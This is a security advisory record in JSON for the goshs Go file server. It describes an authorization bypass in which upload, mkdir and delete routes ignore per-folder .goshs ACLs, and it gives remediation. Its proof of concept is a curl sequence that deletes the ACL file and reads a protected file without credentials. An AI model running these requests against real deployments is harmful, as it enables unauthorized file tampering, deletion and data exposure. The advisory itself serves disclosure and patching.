{"id":"GHSA-wvhv-qcqf-f3cx","summary":"goshs has a file-based ACL authorization bypass in goshs state-changing routes","details":"### Summary\ngoshs enforces the documented per-folder `.goshs` ACL/basic-auth mechanism for directory listings and file reads, but it does not enforce the same authorization checks for state-changing routes. An unauthenticated attacker can upload files with `PUT`, upload files with multipart `POST /upload`, create directories with `?mkdir`, and delete files with `?delete` inside a `.goshs`-protected directory. By deleting the `.goshs` file itself, the attacker can remove the folder's auth policy and then access previously protected content without credentials. This results in a critical authorization bypass affecting confidentiality, integrity, and availability.\n\n### Details\nThe project README explicitly documents file-based ACLs as a security feature:\n\n- `README.md:59` - \"You can place a .goshs in any folder to apply custom ACLs\"\n- `README.md:61` - \"You can apply custom basic auth per folder\"\n\nThe read/list path correctly enforces `.goshs`:\n\n- `httpserver/filebased.go:10-49` loads `.goshs`\n- `httpserver/handler.go:68-91` calls `findSpecialFile()` for directories\n- `httpserver/handler.go:94-101` calls `findSpecialFile()` for files\n- `httpserver/handler.go:285-305` applies custom auth\n- `httpserver/handler.go:545-565` enforces folder auth during directory rendering\n- `httpserver/handler.go:590-630` enforces file auth and blocked entries during file serving\n\nHowever, the state-changing routes bypass this logic entirely:\n\n- `httpserver/server.go:94-100` routes multipart `POST /.../upload` directly to `upload()`\n- `httpserver/server.go:105-109` routes `PUT` directly to `put()`\n- `httpserver/handler.go:119-123` dispatches `?mkdir` directly to `handleMkdir()`\n- `httpserver/handler.go:181-187` dispatches `?delete` directly to `deleteFile()`\n- `httpserver/updown.go:18-60` writes files for `PUT` without checking `.goshs`\n- `httpserver/updown.go:63-165` writes files for multipart upload without checking `.goshs`\n- `httpserver/handler.go:679-698` deletes files with `os.RemoveAll()` without checking `.goshs`\n- `httpserver/handler.go:901-937` creates directories with `os.MkdirAll()` without checking `.goshs`\n\nThis is not a path traversal issue. The path remains inside the configured root after sanitization. The vulnerability is that authorization is applied inconsistently: reads are protected, but writes and deletes are not. Because `.goshs` itself can be deleted through the unauthenticated delete route, the attacker can escalate the impact from unauthorized modification to full removal of the folder's auth barrier.\n\n### PoC\nEnvironment used for verification:\n\n- Repository/module: `github.com/patrickhener/goshs`\n- Verified vulnerable tag: `v2.0.0-beta.3`\n- Also present in the `v1.1.4` line based on code inspection\n- Local host: `127.0.0.1:18091`\n\nBuild and setup:\n\n```bash\ncd '/Users/r1zzg0d/Documents/CVE hunting/targets/goshs_beta3'\ngo build -o /tmp/goshs_acl_verify/goshs ./\n\nrm -rf /tmp/goshs_acl_verify/root\nmkdir -p /tmp/goshs_acl_verify/root/protected\ncp integration/keepFiles/goshsACLAuth /tmp/goshs_acl_verify/root/protected/.goshs\nprintf 'top secret\\n' \u003e /tmp/goshs_acl_verify/root/protected/secret.txt\n\n/tmp/goshs_acl_verify/goshs -d /tmp/goshs_acl_verify/root -p 18091\n```\n\nIn a second terminal:\n\n```bash\n# The protected folder initially requires auth\ncurl -s -o /dev/null -w '%{http_code}\\n' 'http://127.0.0.1:18091/protected/'\n\n# Unauthenticated write into the protected folder succeeds\ncurl -s -o /dev/null -w '%{http_code}\\n' -X PUT \\\n  --data-binary 'injected via PUT' \\\n  'http://127.0.0.1:18091/protected/put-created.txt'\n\n# Unauthenticated deletion of the ACL file succeeds\ncurl -s -o /dev/null -w '%{http_code}\\n' \\\n  'http://127.0.0.1:18091/protected/.goshs?delete'\n\n# The previously protected file is now publicly accessible\ncurl -s -o /dev/null -w '%{http_code}\\n' \\\n  'http://127.0.0.1:18091/protected/secret.txt'\ncurl -s 'http://127.0.0.1:18091/protected/secret.txt'\n```\n\nExpected results:\n\n```text\n401\n200\n200\n200\ntop secret\n```\n\u003cimg width=\"1280\" height=\"657\" alt=\"goshs_poc1\" src=\"https://github.com/user-attachments/assets/37576067-fa90-44f6-8fe5-dcb7c96b9704\" /\u003e\n\n\nNote: if using `zsh`, the URL containing `?delete` must be quoted, or the shell will treat `?` as a wildcard and the request will not be sent.\n\nPoC Video for reference:\n\nhttps://github.com/user-attachments/assets/deb9106e-6dfa-47c0-95c1-993c2cbc9ee7\n\n\n### Impact\nThis is an authorization bypass affecting deployments that rely on `.goshs` for per-folder protection. A remote unauthenticated attacker can:\n\n- create or overwrite files inside a folder that should require authentication\n- create directories inside the protected folder\n- delete arbitrary files reachable through the vulnerable route inside that protected folder\n- delete the `.goshs` policy file itself\n- read previously protected files once the policy file has been removed\n\nIn practice, this breaks the security boundary promised by the file-based ACL feature and can expose sensitive files while also allowing unauthorized modification or destruction of protected content.\n\n### Remediation\n1. Enforce `.goshs` authorization checks for all state-changing operations, not just read/list flows. Before `PUT`, multipart upload, delete, and mkdir, resolve the effective folder ACL and deny the request unless the caller satisfies `acl.Auth`.\n2. Protect `.goshs` as a special file in mutation handlers. The application already prevents serving `.goshs`; it should also reject deletion, overwrite, or replacement of `.goshs` through HTTP routes unless the request is properly authorized.\n3. Add regression tests covering protected folders for every mutation path. The test suite should verify that `PUT`, `POST /upload`, `?delete`, and `?mkdir` all fail without valid credentials when a `.goshs` file is present.","aliases":["CVE-2026-40189","GO-2026-5728"],"modified":"2026-06-25T23:11:25.907688052Z","published":"2026-04-10T20:00:32Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2026-04-10T20:00:32Z","nvd_published_at":"2026-04-10T20:16:23Z","cwe_ids":["CWE-862"],"severity":"CRITICAL"},"references":[{"type":"WEB","url":"https://github.com/patrickhener/goshs/security/advisories/GHSA-wvhv-qcqf-f3cx"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-40189"},{"type":"WEB","url":"https://github.com/patrickhener/goshs/commit/f212c4f4a126556bab008f79758e21a839ef2c0f"},{"type":"PACKAGE","url":"https://github.com/patrickhener/goshs"},{"type":"WEB","url":"https://github.com/patrickhener/goshs/releases/tag/v2.0.0-beta.4"}],"affected":[{"package":{"name":"github.com/patrickhener/goshs","ecosystem":"Go","purl":"pkg:golang/github.com/patrickhener/goshs"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"last_affected":"1.1.4"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-wvhv-qcqf-f3cx/GHSA-wvhv-qcqf-f3cx.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}]}